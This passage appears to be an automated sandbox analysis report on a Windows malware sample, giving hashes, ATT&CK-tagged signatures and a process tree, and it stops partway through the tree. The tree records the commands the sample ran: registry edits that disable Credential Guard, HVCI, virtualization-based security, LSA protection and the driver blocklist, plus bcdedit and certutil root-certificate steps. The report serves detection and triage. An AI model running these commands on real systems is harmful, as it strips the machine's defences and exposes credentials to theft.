7a6102ad6e6fb6eb975bc53171c7ed76aa554c063a527fd657da7134237b99bf

Analysis

max time kernel
20s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/10/2026, 17:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe
Size 3.5MB
Sample261003-we3y2sterc
SHA256 7a6102ad6e6fb6eb975bc53171c7ed76aa554c063a527fd657da7134237b99bf
MD5 08fca7b860400882ff3bf1270c6eb0e2
SHA1 bbc7907aa7b57ae4ae23c2b844b6fa2345783719
SHA512 0dadc61985736351298d99fd4762c37956899f7d4d7efa25db46fda718a8ff071dd39e07f0584a3758d8c71f864c40beddce19e6552dae231dd283d7db4b340b
SSDEEP 49152:ot9XkCUCgppmTxuh61F8U1dN5gw1TYX+7eWcF/Ir9Y367:S0vuTxuhq8U1NpTM+tiUL7
TLSH
T1A406AE12E252A0E1E21F85704262173EEBF17E251B21E7DBDFD0ED652E326D1D63B209
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Detects executables referencing many IR and analysis tools 12 IoCs

resource	yara_rule
behavioral2/memory/4420-13-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-14-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-15-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-20-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-21-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000d00000001c554-22.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-23-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-30-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-33-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-43-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-44-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4420-57-0x0000000000400000-0x00000000007CD000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3916	bcdedit.exe
1380	bcdedit.exe
4812	bcdedit.exe

UPX dump on OEP (original entry point) 11 IoCs

resource	yara_rule
behavioral2/memory/4420-13-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-14-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-15-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-20-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-21-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-23-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-30-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-33-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-43-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-44-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX
behavioral2/memory/4420-57-0x0000000000400000-0x00000000007CD000-memory.dmp	UPX

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
1724	cmd.exe
5544	certutil.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\43DBB0D8926FEBC69B7663673161BC063ED10E04\Blob = 03000000010000001400000043dbb0d8926febc69b7663673161bc063ed10e0420000000010000001803000030820314308201fca003020102021057f22d200fedd2a646700c9ac5bfb563300d06092a864886f70d01010b050030163114301206035504030c0b57444b5465737443657274301e170d3236303533303231333735385a170d3336303533303231343735385a30163114301206035504030c0b57444b546573744365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb22151c5ed381ba1ca5d23d08543311f9eaa57b2af57911066d53e3ede87aa5b3f6e0b9aa5f054b68c2b559276e0998b8d01ef9ebb3b17326c2a3d23d0e1e6d13071bbd417b948db4b57308089c2e473952189376da210cdfd9aaa9b12b5762953c65b4834801996de86f85b2f91e9d1984cf488e690d42cf9e7ba15f12538c98a8baac5258c4f39a8beb44976d6e3f3ecb5966b990ea667dd4ed3bf6adf5e1a2f4b8356c819352747ee7fdbcd25202a82398df383668f939971c1b7150f9576eede0cfb3eea50464e7e8fb19cd9dd3c99efe5c4fc176e4c8855d4269fc649cf194916458797fdf63e6599a51d40260c900906a4eab95ae5d083c2f9962a7310203010001a35e305c300e0603551d0f0101ff040403020780302b0603551d250424302206082b06010505070303060a2b0601040182370a0305060a2b0601040182373d0101301d0603551d0e0416041415f59026fd3b5de62dca6813ea552d7344dbfaed300d06092a864886f70d01010b050003820101002614d970ce546514bb87c5088985e02b5132049872095c127a118a177ccd741532f0983f3b76090f5787f95ac45e808cf417b1e425f0f950627840010a63fa18331a4ebf53d4fd07828e7babeb25bb08fb5ae18336de0524a576f91edb486eab108347fc80f5b200af6830cf2652cd513bcb66ca6c241d7033c57de76bf1272d1737cece5bccffc5cc526f6ae26cb6a0dd1e8b974953f08aec4cacd9a807ddab182eeaa9558dc5bf8ff958fe738188b3d6360aace1b11eda3cc4904db15f4af5de9018410c9048da687dc83e63496d81f566963158f8f7617e3e94a42170b4c98e66df36c5c232c2e338ed49e6c9d83fdfd994e0025e52dc59fc1cc8a567f23f	certutil.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\longdiequdong1\ImagePath = "\\??\\C:\\Windows\\Temp\\longdiequdong1.sys"	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

persistence credential_access

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Executes dropped EXE 2 IoCs

pid	Process
4820	longdiequdong1.sys
5316	SignGuiPatcher.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	mountvol.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 37 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4400	cmd.exe
1096	cmd.exe
1488	cmd.exe
5600	cmd.exe
3400	cmd.exe
3332	cmd.exe
4300	cmd.exe
4532	cmd.exe
3596	cmd.exe
5384	cmd.exe
3508	cmd.exe
5460	cmd.exe
5552	cmd.exe
5104	cmd.exe
4896	cmd.exe
4952	cmd.exe
3512	cmd.exe
1644	cmd.exe
4836	cmd.exe
1912	cmd.exe
4872	cmd.exe
2888	cmd.exe
2340	cmd.exe
1632	cmd.exe
6120	cmd.exe
1840	cmd.exe
5960	cmd.exe
376	cmd.exe
3272	cmd.exe
5268	cmd.exe
2144	cmd.exe
2956	cmd.exe
3036	cmd.exe
1504	cmd.exe
4252	cmd.exe
4384	cmd.exe
4496	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
3040	reg.exe
1680	reg.exe
2732	reg.exe
3440	reg.exe
3744	reg.exe
3764	reg.exe
2664	reg.exe
5264	reg.exe
4944	reg.exe
4212	reg.exe
1944	reg.exe
1304	reg.exe
5820	reg.exe
4244	reg.exe
3960	reg.exe
5956	reg.exe
1204	reg.exe
2028	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5316	SignGuiPatcher.exe
5316	SignGuiPatcher.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5316	SignGuiPatcher.exe
Token: SeImpersonatePrivilege	5316	SignGuiPatcher.exe
Token: SeDebugPrivilege	5316	SignGuiPatcher.exe
Token: SeShutdownPrivilege	4100	shutdown.exe
Token: SeRemoteShutdownPrivilege	4100	shutdown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe
4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe
2948	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 4496	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	89
PID 4496 wrote to memory of 3332	4496	cmd.exe	91
PID 3332 wrote to memory of 5864	3332	cmd.exe	92
PID 4420 wrote to memory of 1840	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	96
PID 1840 wrote to memory of 5956	1840	cmd.exe	98
PID 4420 wrote to memory of 5960	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	99
PID 5960 wrote to memory of 3040	5960	cmd.exe	101
PID 4420 wrote to memory of 4896	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	102
PID 4896 wrote to memory of 4212	4896	cmd.exe	104
PID 4420 wrote to memory of 2888	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	105
PID 2888 wrote to memory of 3744	2888	cmd.exe	107
PID 4420 wrote to memory of 4952	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	108
PID 4952 wrote to memory of 1680	4952	cmd.exe	110
PID 4420 wrote to memory of 376	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	111
PID 376 wrote to memory of 3764	376	cmd.exe	113
PID 4420 wrote to memory of 2144	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	114
PID 2144 wrote to memory of 1944	2144	cmd.exe	116
PID 4420 wrote to memory of 1096	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	117
PID 1096 wrote to memory of 1304	1096	cmd.exe	119
PID 4420 wrote to memory of 1488	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	120
PID 1488 wrote to memory of 5820	1488	cmd.exe	122
PID 4420 wrote to memory of 2956	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	123
PID 2956 wrote to memory of 2732	2956	cmd.exe	125
PID 4420 wrote to memory of 4300	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	126
PID 4300 wrote to memory of 2664	4300	cmd.exe	128
PID 4420 wrote to memory of 2340	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	129
PID 2340 wrote to memory of 5264	2340	cmd.exe	131
PID 4420 wrote to memory of 4836	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	132
PID 4836 wrote to memory of 1204	4836	cmd.exe	134
PID 4420 wrote to memory of 3036	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	135
PID 3036 wrote to memory of 4244	3036	cmd.exe	137
PID 4420 wrote to memory of 5600	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	138
PID 5600 wrote to memory of 4944	5600	cmd.exe	140
PID 4420 wrote to memory of 1504	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	141
PID 1504 wrote to memory of 2028	1504	cmd.exe	143
PID 4420 wrote to memory of 1632	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	144
PID 1632 wrote to memory of 3960	1632	cmd.exe	146
PID 4420 wrote to memory of 4252	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	147
PID 4252 wrote to memory of 4532	4252	cmd.exe	149
PID 4420 wrote to memory of 4384	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	150
PID 4384 wrote to memory of 6120	4384	cmd.exe	152
PID 4420 wrote to memory of 3272	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	153
PID 3272 wrote to memory of 5552	3272	cmd.exe	155
PID 4420 wrote to memory of 5104	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	156
PID 5104 wrote to memory of 1472	5104	cmd.exe	158
PID 4420 wrote to memory of 4400	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	159
PID 4400 wrote to memory of 3400	4400	cmd.exe	161
PID 4420 wrote to memory of 1912	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	162
PID 1912 wrote to memory of 3596	1912	cmd.exe	164
PID 4420 wrote to memory of 5384	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	165
PID 5384 wrote to memory of 2692	5384	cmd.exe	167
PID 4420 wrote to memory of 5268	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	168
PID 5268 wrote to memory of 3440	5268	cmd.exe	170
PID 4420 wrote to memory of 3512	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	171
PID 3512 wrote to memory of 3916	3512	cmd.exe	173
PID 4420 wrote to memory of 1644	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	174
PID 1644 wrote to memory of 1380	1644	cmd.exe	176
PID 4420 wrote to memory of 3508	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	177
PID 3508 wrote to memory of 4812	3508	cmd.exe	179
PID 4420 wrote to memory of 1724	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	180
PID 1724 wrote to memory of 5544	1724	cmd.exe	182
PID 4420 wrote to memory of 5460	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	183
PID 5460 wrote to memory of 1228	5460	cmd.exe	185
PID 4420 wrote to memory of 5316	4420	2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-02_08fca7b860400882ff3bf1270c6eb0e2_coinminer_elex_emotet_glassworm_remcos.exe"
1⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240715046_8458.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240715046_8458.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Windows\system32\manage-bde.exe
      C:\Windows\Sysnative\manage-bde.exe -status C: -protectionaserrorlevel
      4⤵
      PID:5864
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5956
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5960
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3040
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4212
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3744
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1680
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:376
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3764
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1944
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1304
- C:\Windows\SysWOW64\cmd.exe
